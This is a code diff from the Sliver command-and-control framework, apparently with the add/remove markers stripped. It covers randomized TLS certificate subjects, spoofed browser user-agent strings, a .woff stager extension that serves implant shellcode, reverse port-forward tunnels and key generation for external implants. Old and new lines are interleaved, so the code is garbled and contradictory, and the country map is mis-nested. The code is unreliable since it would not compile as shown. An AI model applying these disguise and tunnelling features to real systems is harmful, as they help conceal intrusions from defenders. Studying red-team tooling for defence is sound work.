"Raleigh": {""},
"Greensboro": {
"",
"University",
},
"Winston-Salem": {""},
},
"Ohio": {
"Columbus": {""},
"Cleveland": {
"",
"State University",
},
"Cincinnati": {""},
"Toledo": {""},
},
},
"Arizona": {
"Phoenix": {""},
"Mesa": {""},
"Scottsdale": {""},
"Chandler": {""},
"CA": {
"": {
"": {
"",
},
},
"Alberta": {
"Calgary": {""},
"Edmonton": {
"",
"University",
},
"Red Deer": {""},
"Fort McMurray": {
"",
"University",
},
},
"British Columbia": {
"Vancouver": {""},
"Victoria": {""},
"Kelowna": {""},
"Richmond": {""},
},
"Manitoba": {
"Winnipeg": {""},
"Brandon": {""},
"Thompson": {""},
"Portage la Prairie": {
"",
"University",
},
},
"New Brunswick": {
"Fredericton": {""},
"Moncton": {""},
"Saint John": {""},
"Dieppe": {""},
},
"Newfoundland and Labrador": {
"St. John's": {""},
"Mount Pearl": {
"",
"College",
},
"Conception Bay South": {""},
"Paradise": {
"",
"College",
},
},
},
"California": {
"San Francisco": {"", "Golden Gate Bridge"},
"Oakland": {""},
"Berkeley": {""},
"Palo Alto": {""},
"Los Angeles": {""},
"San Diego": {""},
"San Jose": {""},
},
"Colorado": {
"Denver": {""},
"Boulder": {""},
"Aurora": {""},
"Fort Collins": {""},
},
"Connecticut": {
"New Haven": {""},
"Bridgeport": {""},
"Stamford": {""},
"Norwalk": {""},
},
"Washington": {
"Seattle": {""},
"Tacoma": {""},
"Olympia": {""},
"Spokane": {""},
},
"Florida": {
"Miami": {""},
"Orlando": {""},
"Tampa": {""},
"Jacksonville": {""},
},
"Illinois": {
"Chicago": {""},
"Aurora": {""},
"Naperville": {""},
"Peoria": {""},
"JP": {
"": {
"": {
"",
},
},
"Aichi": {
"Nagoya": {""},
"Kasugai": {
"",
"University",
},
"Okazaki": {""},
"Handa": {""},
},
"Chiba": {
"Chiba": {""},
"Kashiwa": {
"",
"University",
},
"Funabashi": {""},
"Kimitsu": {""},
},
},
}
)
func randomSubject(commonName string) *pkix.Name {
province, locale, street := randomProvinceLocalityStreetAddress()
country, province, locale, street := randomProvinceLocalityStreetAddress()
return &pkix.Name{
Organization: randomOrganization(),
Country: []string{"US"},
Country: country,
Province: province,
Locality: locale,
StreetAddress: street,
PostalCode: randomPostalCode(),
PostalCode: randomPostalCode(country),
CommonName: commonName,
}
}
func randomPostalCode() []string {
switch insecureRand.Intn(1) {
case 0:
return []string{fmt.Sprintf("%d", insecureRand.Intn(8000)+1000)}
default:
func randomPostalCode(country []string) []string {
// 1 in `n` will include a postal code
// From my cursory view of a few TLS certs it seems uncommon to include this
// in the distinguished name so right now it's set to 1/5
const postalProbability = 5
if len(country) == 0 {
return []string{}
}
switch country[0] {
case "US":
// American postal codes are 5 digits
switch insecureRand.Intn(postalProbability) {
case 0:
return []string{fmt.Sprintf("%05d", insecureRand.Intn(90000)+1000)}
default:
return []string{}
}
case "CA":
// Canadian postal codes are weird and include letter/number combo's
letters := "ABHLMNKGJPRSTVYX"
switch insecureRand.Intn(postalProbability) {
case 0:
letter1 := string(letters[insecureRand.Intn(len(letters))])
letter2 := string(letters[insecureRand.Intn(len(letters))])
if insecureRand.Intn(2) == 0 {
letter1 = strings.ToLower(letter1)
letter2 = strings.ToLower(letter2)
}
return []string{
fmt.Sprintf("%s%d%s", letter1, insecureRand.Intn(9), letter2),
}
default:
return []string{}
}
}
return []string{}
}
func randomProvinceLocalityStreetAddress() ([]string, []string, []string) {
state := randomState()
locality := randomLocality(state)
streetAddress := randomStreetAddress(state, locality)
return []string{state}, []string{locality}, []string{streetAddress}
func randomProvinceLocalityStreetAddress() ([]string, []string, []string, []string) {
country := randomCountry()
state := randomState(country)
locality := randomLocality(country, state)
streetAddress := randomStreetAddress(country, state, locality)
return []string{country}, []string{state}, []string{locality}, []string{streetAddress}
}
func randomState() string {
keys := make([]string, 0, len(states))
for k := range states {
func randomCountry() string {
keys := make([]string, 0, len(subjects))
for k := range subjects {
keys = append(keys, k)
}
return keys[insecureRand.Intn(len(keys))]
}
func randomLocality(state string) string {
locales := states[state]
func randomState(country string) string {
keys := make([]string, 0, len(subjects[country]))
for k := range subjects[country] {
keys = append(keys, k)
}
return keys[insecureRand.Intn(len(keys))]
}
func randomLocality(country string, state string) string {
locales := subjects[country][state]
keys := make([]string, 0, len(locales))
for k := range locales {
keys = append(keys, k)
@@ -125,44 +343,65 @@ func randomLocality(state string) string {
return keys[insecureRand.Intn(len(keys))]
}
func randomStreetAddress(state string, locality string) string {
addresses := states[state][locality]
func randomStreetAddress(country string, state string, locality string) string {
addresses := subjects[country][state][locality]
return addresses[insecureRand.Intn(len(addresses))]
}
var (
orgNames = []string{
"",
"ACME",
"Partners",
"Tech",
"Cloud",
"Synergy",
"Test",
"Debug",
}
orgSuffixes = []string{
"",
"",
"co",
"llc",
"inc",
"corp",
"ltd",
"plc",
"inc.",
"corp.",
"ltd.",
"plc.",
"co.",
"llc.",
"incorporated",
"limited",
"corporation",
"company",
"incorporated",
"limited",
"corporation",
"company",
}
)
func randomOrganization() []string {
name := orgNames[insecureRand.Intn(len(orgNames))]
adjective, _ := codenames.RandomAdjective()
noun, _ := codenames.RandomNoun()
suffix := orgSuffixes[insecureRand.Intn(len(orgSuffixes))]
switch insecureRand.Intn(4) {
case 0:
return []string{strings.TrimSpace(strings.ToLower(name + " " + suffix))}
case 1:
return []string{strings.TrimSpace(strings.ToUpper(name + " " + suffix))}
case 2:
return []string{strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", name, suffix)))}
var orgName string
switch insecureRand.Intn(8) {
case 0:
orgName = strings.TrimSpace(fmt.Sprintf("%s %s, %s", adjective, noun, suffix))
case 1:
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
case 2:
orgName = strings.TrimSpace(fmt.Sprintf("%s, %s", noun, suffix))
case 3:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
case 4:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", adjective, noun)))
case 5:
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s", adjective, noun)))
case 6:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s", noun)))
case 7:
noun2, _ := codenames.RandomNoun()
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s-%s", noun, noun2)))
default:
return []string{}
orgName = ""
}
return []string{orgName}
}
@@ -1,4 +1,4 @@
package generate
package codenames
/*
Sliver Implant Framework
@@ -23,7 +23,7 @@ import (
"fmt"
insecureRand "math/rand"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/server/assets"
@@ -39,11 +39,11 @@ var (
})
)
// readlines - Read lines of a text file into a slice
func readlines(fpath string) ([]string, error) {
file, err := os.Open(fpath)
// readLines - Read lines of a text file into a slice
func readLines(txtFilePath string) ([]string, error) {
file, err := os.Open(txtFilePath)
if err != nil {
codenameLog.Errorf("Error opening %s: %v", fpath, err)
codenameLog.Errorf("Error opening %s: %v", txtFilePath, err)
return nil, err
}
defer file.Close()
@@ -63,37 +63,37 @@ func readlines(fpath string) ([]string, error) {
}
// getRandomWord - Get a random word from a file, not cryptographically secure
func getRandomWord(fpath string) (string, error) {
func getRandomWord(txtFilePath string) (string, error) {
appDir := assets.GetRootAppDir()
words, err := readlines(path.Join(appDir, fpath))
words, err := readLines(filepath.Join(appDir, txtFilePath))
if err != nil {
return "", err
}
wordsLen := len(words)
if wordsLen == 0 {
return "", fmt.Errorf("no words found in %s", fpath)
return "", fmt.Errorf("no words found in %s", txtFilePath)
}
word := words[insecureRand.Intn(wordsLen-1)]
return strings.TrimSpace(word), nil
}
// getRandomAdjective - Get a random noun, not cryptographically secure
func getRandomAdjective() (string, error) {
// RandomAdjective - Get a random noun, not cryptographically secure
func RandomAdjective() (string, error) {
return getRandomWord("adjectives.txt")
}
// getRandomNoun - Get a random noun, not cryptographically secure
func getRandomNoun() (string, error) {
// RandomNoun - Get a random noun, not cryptographically secure
func RandomNoun() (string, error) {
return getRandomWord("nouns.txt")
}
// GetCodename - Returns a randomly generated 'codename'
func GetCodename() (string, error) {
adjective, err := getRandomAdjective()
adjective, err := RandomAdjective()
if err != nil {
return "", err
}
noun, err := getRandomNoun()
noun, err := RandomNoun()
if err != nil {
return "", err
}
+26 -9
View File
@@ -35,7 +35,8 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 97
DefaultChromeBaseVer = 100
DefaultMacOSVer = "10_15_7"
)
// HTTPC2Config - Parent config file struct for implant/server
@@ -69,7 +70,7 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.MacOSVer(), h.ChromeVer())
}
}
@@ -83,7 +84,19 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
// ChromeVer - Generate a random Chrome user-agent
func (h *HTTPC2Config) ChromeVer() string {
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
chromeVer := h.ImplantConfig.ChromeBaseVersion
if chromeVer == 0 {
chromeVer = DefaultChromeBaseVer
}
return fmt.Sprintf("%d.0.%d.%d", chromeVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
}
func (h *HTTPC2Config) MacOSVer() string {
macosVer := h.ImplantConfig.MacOSVersion
if macosVer == "" {
macosVer = DefaultMacOSVer
}
return macosVer
}
// RandomImplantConfig - Randomly generate a config
@@ -126,7 +139,9 @@ type NameValueProbability struct {
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
UserAgent string `json:"user_agent"`
ChromeBaseVersion int `json:"chrome_base_version"`
MacOSVersion string `json:"macos_version"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
@@ -222,11 +237,13 @@ var (
},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
UserAgent: "", // Blank string is rendered as randomized platform user-agent
ChromeBaseVersion: DefaultChromeBaseVer,
MacOSVersion: DefaultMacOSVer,
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
StagerFileExt: ".woff",
+7
View File
@@ -73,3 +73,10 @@ func generateImplantConnectionID() string {
id, _ := uuid.NewV4()
return id.String()
}
func (c *ImplantConnection) RequestResend(data []byte) {
c.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelData,
Data: data,
}
}
+1
View File
@@ -66,6 +66,7 @@ func hostsSessionCallback(session *Session) {
HostUUID: uuid.FromStringOrNil(session.UUID),
Hostname: session.Hostname,
OSVersion: session.OS,
Locale: session.Locale,
IOCs: []models.IOC{},
ExtensionData: []models.ExtensionData{},
}).Error
+114
View File
@@ -0,0 +1,114 @@
package rtunnels
import (
"io"
"sync"
)
var (
Rtunnels map[uint64]*RTunnel = make(map[uint64]*RTunnel)
mutex sync.RWMutex
)
// RTunnel - Duplex byte read/write
type RTunnel struct {
ID uint64
SessionID string
// Reader io.ReadCloser
Readers []io.ReadCloser
readSequence uint64
Writer io.WriteCloser
writeSequence uint64
mutex *sync.RWMutex
}
func NewRTunnel(id uint64, sID string, writer io.WriteCloser, readers ...io.ReadCloser) *RTunnel {
return &RTunnel{
ID: id,
SessionID: sID,
Readers: readers,
Writer: writer,
mutex: &sync.RWMutex{},
}
}
func (c *RTunnel) ReadSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.readSequence
}
func (c *RTunnel) WriteSequence() uint64 {
c.mutex.RLock()
defer c.mutex.RUnlock()
return c.writeSequence
}
func (c *RTunnel) IncReadSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.readSequence += 1
}
func (c *RTunnel) IncWriteSequence() {
c.mutex.Lock()
defer c.mutex.Unlock()
c.writeSequence += 1
}
// Close - close RTunnel reader and writer
func (c *RTunnel) Close() {
for _, rc := range c.Readers {
if rc != nil {
rc.Close()
}
}
c.Writer.Close()
}
// Tunnel - Add tunnel to mapping
func GetRTunnel(ID uint64) *RTunnel {
mutex.RLock()
defer mutex.RUnlock()
return Rtunnels[ID]
}
// AddTunnel - Add tunnel to mapping
func AddRTunnel(tun *RTunnel) {
mutex.Lock()
defer mutex.Unlock()
Rtunnels[tun.ID] = tun
}
// RemoveTunnel - Add tunnel to mapping
func RemoveRTunnel(ID uint64) {
mutex.Lock()
defer mutex.Unlock()
delete(Rtunnels, ID)
}
// func removeAndCloseAllRTunnels() {
// mutex.Lock()
// defer mutex.Unlock()
// for id, tunnel := range Rtunnels {
// tunnel.Close()
// delete(Rtunnels, id)
// }
// }
// func (c *Connection) RequestResendR(data []byte) {
// c.Send <- &pb.Envelope{
// Type: pb.MsgTunnelData,
// Data: data,
// }
// }
+2
View File
@@ -72,6 +72,7 @@ type Session struct {
Extensions []string
ConfigID string
PeerID int64
Locale string
}
// LastCheckin - Get the last time a session message was received
@@ -136,6 +137,7 @@ func (s *Session) ToProtobuf() *clientpb.Session {
ProxyURL: s.ProxyURL,
Burned: s.Burned,
PeerID: s.PeerID,
Locale: s.Locale,
}
}
+1 -1
View File
@@ -26,7 +26,7 @@ import (
)
var (
// TunSocksTunnels - Interating with duplex SocksTunnels
// TunSocksTunnels - Interacting with duplex SocksTunnels
SocksTunnels = tcpTunnel{
tunnels: map[uint64]*TcpTunnel{},
mutex: &sync.Mutex{},
+4 -4
View File
@@ -31,7 +31,7 @@ import (
)
var (
// Tunnels - Interating with duplex tunnels
// Tunnels - Interacting with duplex tunnels
Tunnels = tunnels{
tunnels: map[uint64]*Tunnel{},
mutex: &sync.Mutex{},
@@ -125,10 +125,10 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
// will close it once there is no data for at least delayBeforeClose delay since last message
// This is _necessary_ since we processing messages asynchronously
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
// (this is what happends for socks and portfwd)
// (this is what happens for socks and portfwd)
// There is no another way around it, if we want to stick to async processing as we do now.
// All additional changes requires changes on implants(like sequencing for close messages),
// and as there is a goal to keep compatability we don't do that at the moment.
// and as there is a goal to keep compatibility we don't do that at the moment.
// So there is trade off - more stability or more speed. Or rewriting implant logic.
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
func (t *tunnels) ScheduleClose(tunnelID uint64) {
@@ -153,7 +153,7 @@ func (t *tunnels) ScheduleClose(tunnelID uint64) {
}
// Close - closing tunnel
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
// It's preferred to use ScheduleClose function if you don't 100% sure there is no more data to receive
func (t *tunnels) Close(tunnelID uint64) error {
t.mutex.Lock()
defer t.mutex.Unlock()
-1
View File
@@ -100,7 +100,6 @@ func ImplantBuildByName(name string) (*models.ImplantBuild, error) {
if err != nil {
return nil, err
}
return &build, err
}
+2
View File
@@ -52,6 +52,7 @@ type Beacon struct {
ReconnectInterval int64
ActiveC2 string
ProxyURL string
Locale string
ImplantBuildID uuid.UUID `gorm:"type:uuid;"`
@@ -91,6 +92,7 @@ func (b *Beacon) ToProtobuf() *clientpb.Beacon {
Interval: b.Interval,
Jitter: b.Jitter,
NextCheckin: b.NextCheckin,
Locale: b.Locale,
}
}
+2
View File
@@ -34,6 +34,7 @@ type Host struct {
Hostname string
OSVersion string // Verbore OS version
Locale string // Detected language code
IOCs []IOC
ExtensionData []ExtensionData
@@ -54,6 +55,7 @@ func (h *Host) ToProtobuf() *clientpb.Host {
HostUUID: h.HostUUID.String(),
Hostname: h.Hostname,
OSVersion: h.OSVersion,
Locale: h.Locale,
IOCs: h.iocsToProtobuf(),
ExtensionData: h.extensionDataToProtobuf(),
}
+6 -4
View File
@@ -279,7 +279,7 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
return "", err
}
dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
dest += ".bin"
tags := []string{} // []string{"netgo"}
@@ -420,7 +420,7 @@ func SliverExecutable(name string, config *models.ImplantConfig) (string, error)
return "", err
}
dest := path.Join(goConfig.ProjectDir, "bin", path.Base(name))
dest := filepath.Join(goConfig.ProjectDir, "bin", filepath.Base(name))
if goConfig.GOOS == WINDOWS {
dest += ".exe"
}
@@ -470,7 +470,7 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.TCPPivotc2Enabled = isC2Enabled([]string{"tcppivot"}, config.C2)
sliversDir := GetSliversDir() // ~/.sliver/slivers
projectGoPathDir := path.Join(sliversDir, config.GOOS, config.GOARCH, path.Base(name))
projectGoPathDir := filepath.Join(sliversDir, config.GOOS, config.GOARCH, filepath.Base(name))
if _, err := os.Stat(projectGoPathDir); os.IsNotExist(err) {
os.MkdirAll(projectGoPathDir, 0700)
}
@@ -619,7 +619,9 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
}
// Render canaries
buildLog.Debugf("Canary domain(s): %v", config.CanaryDomains)
if len(config.CanaryDomains) > 0 {
buildLog.Debugf("Canary domain(s): %v", config.CanaryDomains)
}
canaryTmpl := template.New("canary").Delims("[[", "]]")
canaryGenerator := &CanaryGenerator{
ImplantName: name,
+99
View File
@@ -0,0 +1,99 @@
package generate
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"crypto/sha256"
"encoding/hex"
"fmt"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db/models"
)
// SliverExternal - Generates the cryptographic keys for the implant but compiles no code
func SliverExternal(name string, config *models.ImplantConfig) (*clientpb.ExternalImplantConfig, error) {
if config.Format != clientpb.OutputFormat_EXTERNAL {
return nil, fmt.Errorf("invalid format: %s", config.Format)
}
config.MTLSc2Enabled = isC2Enabled([]string{"mtls"}, config.C2)
config.WGc2Enabled = isC2Enabled([]string{"wg"}, config.C2)
config.HTTPc2Enabled = isC2Enabled([]string{"http", "https"}, config.C2)
config.DNSc2Enabled = isC2Enabled([]string{"dns"}, config.C2)
config.NamePipec2Enabled = isC2Enabled([]string{"namedpipe"}, config.C2)
config.TCPPivotc2Enabled = isC2Enabled([]string{"tcppivot"}, config.C2)
// Cert PEM encoded certificates
serverCACert, _, _ := certs.GetCertificateAuthorityPEM(certs.MtlsServerCA)
sliverCert, sliverKey, err := certs.MtlsC2ImplantGenerateECCCertificate(name)
if err != nil {
return nil, err
}
// ECC keys
implantKeyPair, err := cryptography.RandomECCKeyPair()
if err != nil {
return nil, err
}
serverKeyPair := cryptography.ECCServerKeyPair()
digest := sha256.Sum256((*implantKeyPair.Public)[:])
config.ECCPublicKey = implantKeyPair.PublicBase64()
config.ECCPublicKeyDigest = hex.EncodeToString(digest[:])
config.ECCPrivateKey = implantKeyPair.PrivateBase64()
config.ECCPublicKeySignature = cryptography.MinisignServerSign(implantKeyPair.Public[:])
config.ECCServerPublicKey = serverKeyPair.PublicBase64()
config.MinisignServerPublicKey = cryptography.MinisignServerPublicKey()
// MTLS keys
if config.MTLSc2Enabled {
config.MtlsCACert = string(serverCACert)
config.MtlsCert = string(sliverCert)
config.MtlsKey = string(sliverKey)
}
otpSecret, err := cryptography.TOTPServerSecret()
if err != nil {
return nil, err
}
// Generate wg Keys as needed
if config.WGc2Enabled {
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
if err != nil {
return nil, err
}
_, serverPubKey, err := certs.GetWGServerKeys()
if err != nil {
return nil, fmt.Errorf("failed to embed implant wg keys: %s", err)
}
config.WGImplantPrivKey = implantPrivKey
config.WGServerPubKey = serverPubKey
}
err = ImplantConfigSave(config)
if err != nil {
return nil, err
}
return &clientpb.ExternalImplantConfig{
Name: name,
Config: config.ToProtobuf(),
OTPSecret: otpSecret,
}, nil
}
+2 -2
View File
@@ -101,7 +101,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
return result.Error
}
storageLog.Infof("%s -> %s", implantBuild.ID, implantBuild.Name)
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
return ioutil.WriteFile(filepath.Join(buildsDir, implantBuild.ID.String()), data, 0600)
}
func computeHashes(data []byte) (string, string, string) {
@@ -133,7 +133,7 @@ func ImplantFileDelete(build *models.ImplantBuild) error {
if err != nil {
return err
}
buildFilePath := path.Join(buildsDir, build.ID.String())
buildFilePath := filepath.Join(buildsDir, build.ID.String())
if _, err := os.Stat(buildFilePath); os.IsNotExist(err) {
return ErrImplantBuildFileNotFound
}
+1
View File
@@ -80,6 +80,7 @@ func beaconRegisterHandler(implantConn *core.ImplantConnection, data []byte) *sl
beacon.ActiveC2 = beaconReg.Register.ActiveC2
beacon.ProxyURL = beaconReg.Register.ProxyURL
// beacon.ConfigID = uuid.FromStringOrNil(beaconReg.Register.ConfigID)
beacon.Locale = beaconReg.Register.Locale
beacon.Interval = beaconReg.Interval
beacon.Jitter = beaconReg.Jitter
+84
View File
@@ -0,0 +1,84 @@
package handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"sync"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// TunnelID -> Sequence Number -> Data
tunnelDataCache = dataCache{mutex: &sync.RWMutex{}, cache: map[uint64]map[uint64]*sliverpb.TunnelData{}}
)
type dataCache struct {
mutex *sync.RWMutex
cache map[uint64]map[uint64]*sliverpb.TunnelData
}
func (c *dataCache) Add(tunnelID uint64, sequence uint64, tunnelData *sliverpb.TunnelData) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
c.cache[tunnelID] = map[uint64]*sliverpb.TunnelData{}
}
c.cache[tunnelID][sequence] = tunnelData
}
func (c *dataCache) Get(tunnelID uint64, sequence uint64) (*sliverpb.TunnelData, bool) {
c.mutex.RLock()
defer c.mutex.RUnlock()
if _, ok := c.cache[tunnelID]; !ok {
return nil, false
}
val, ok := c.cache[tunnelID][sequence]
return val, ok
}
func (c *dataCache) DeleteTun(tunnelID uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
delete(c.cache, tunnelID)
}
func (c *dataCache) DeleteSeq(tunnelID uint64, sequence uint64) {
c.mutex.Lock()
defer c.mutex.Unlock()
if _, ok := c.cache[tunnelID]; !ok {
return
}
delete(c.cache[tunnelID], sequence)
}
func (c *dataCache) Len(tunnelID uint64) int {
c.mutex.RLock()
defer c.mutex.RUnlock()
return len(c.cache[tunnelID])
}
+208 -15
View File
@@ -23,11 +23,17 @@ package handlers
*/
import (
"context"
"encoding/json"
"fmt"
"io"
"net"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/core/rtunnels"
"github.com/bishopfox/sliver/server/log"
"google.golang.org/protobuf/proto"
@@ -71,6 +77,7 @@ func registerSessionHandler(implantConn *core.ImplantConnection, data []byte) *s
session.Version = register.Version
session.ReconnectInterval = register.ReconnectInterval
session.ProxyURL = register.ProxyURL
session.Locale = register.Locale
session.ConfigID = register.ConfigID
session.PeerID = register.PeerID
core.Sessions.Add(session)
@@ -111,18 +118,29 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[DATA] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
if session.ID == tunnel.SessionID {
tunnel.SendDataFromImplant(tunnelData)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
if rtunnel != nil && session.ID == rtunnel.SessionID {
RTunnelDataHandler(tunnelData, rtunnel, implantConn)
} else if rtunnel != nil && session.ID != rtunnel.SessionID {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
} else if rtunnel == nil && tunnelData.CreateReverse == true {
createReverseTunnelHandler(implantConn, data)
//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d, %s", tunnelData.TunnelID, tunnelData.Data)
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
if session.ID == tunnel.SessionID {
tunnel.SendDataFromImplant(tunnelData)
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
}
}
return nil
}
@@ -137,7 +155,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
if !tunnelData.Closed {
return nil
}
@@ -150,7 +168,15 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
} else {
sessionHandlerLog.Warnf("Close sent on nil tunnel %d", tunnelData.TunnelID)
rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
if rtunnel != nil && session.ID == tunnel.SessionID {
rtunnel.Close()
rtunnels.RemoveRTunnel(rtunnel.ID)
} else if rtunnel != nil && session.ID != tunnel.SessionID {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
} else {
sessionHandlerLog.Warnf("Close sent on nil tunnel %d", tunnelData.TunnelID)
}
}
return nil
}
@@ -181,10 +207,10 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
// return nil
//}
sessionHandlerLog.Debugf("socksDataHandler:", len(socksData.Data), socksData.Data)
SocksTunne := core.SocksTunnels.Get(socksData.TunnelID)
if SocksTunne != nil {
if session.ID == SocksTunne.SessionID {
SocksTunne.FromImplant <- socksData
socksTunnel := core.SocksTunnels.Get(socksData.TunnelID)
if socksTunnel != nil {
if session.ID == socksTunnel.SessionID {
socksTunnel.FromImplant <- socksData
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
@@ -193,3 +219,170 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
}
return nil
}
func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
session := core.Sessions.FromImplantConnection(implantConn)
req := &sliverpb.TunnelData{}
proto.Unmarshal(data, req)
var defaultDialer = new(net.Dialer)
remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)
ctx, cancelContext := context.WithCancel(context.Background())
dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
//dst, err := net.Dial("tcp", remoteAddress)
if err != nil {
tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
Closed: true,
TunnelID: req.TunnelID,
})
implantConn.Send <- &sliverpb.Envelope{
Type: sliverpb.MsgTunnelClose,
Data: tunnelClose,
}
cancelContext()
}
if conn, ok := dst.(*net.TCPConn); ok {
// {{if .Config.Debug}}
//log.Printf("[portfwd] Configuring keep alive")
// {{end}}
conn.SetKeepAlive(true)
// TODO: Make KeepAlive configurable
conn.SetKeepAlivePeriod(1000 * time.Second)
}
tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
rtunnels.AddRTunnel(tunnel)
cleanup := func(reason error) {
// {{if .Config.Debug}}
sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
// {{end}}
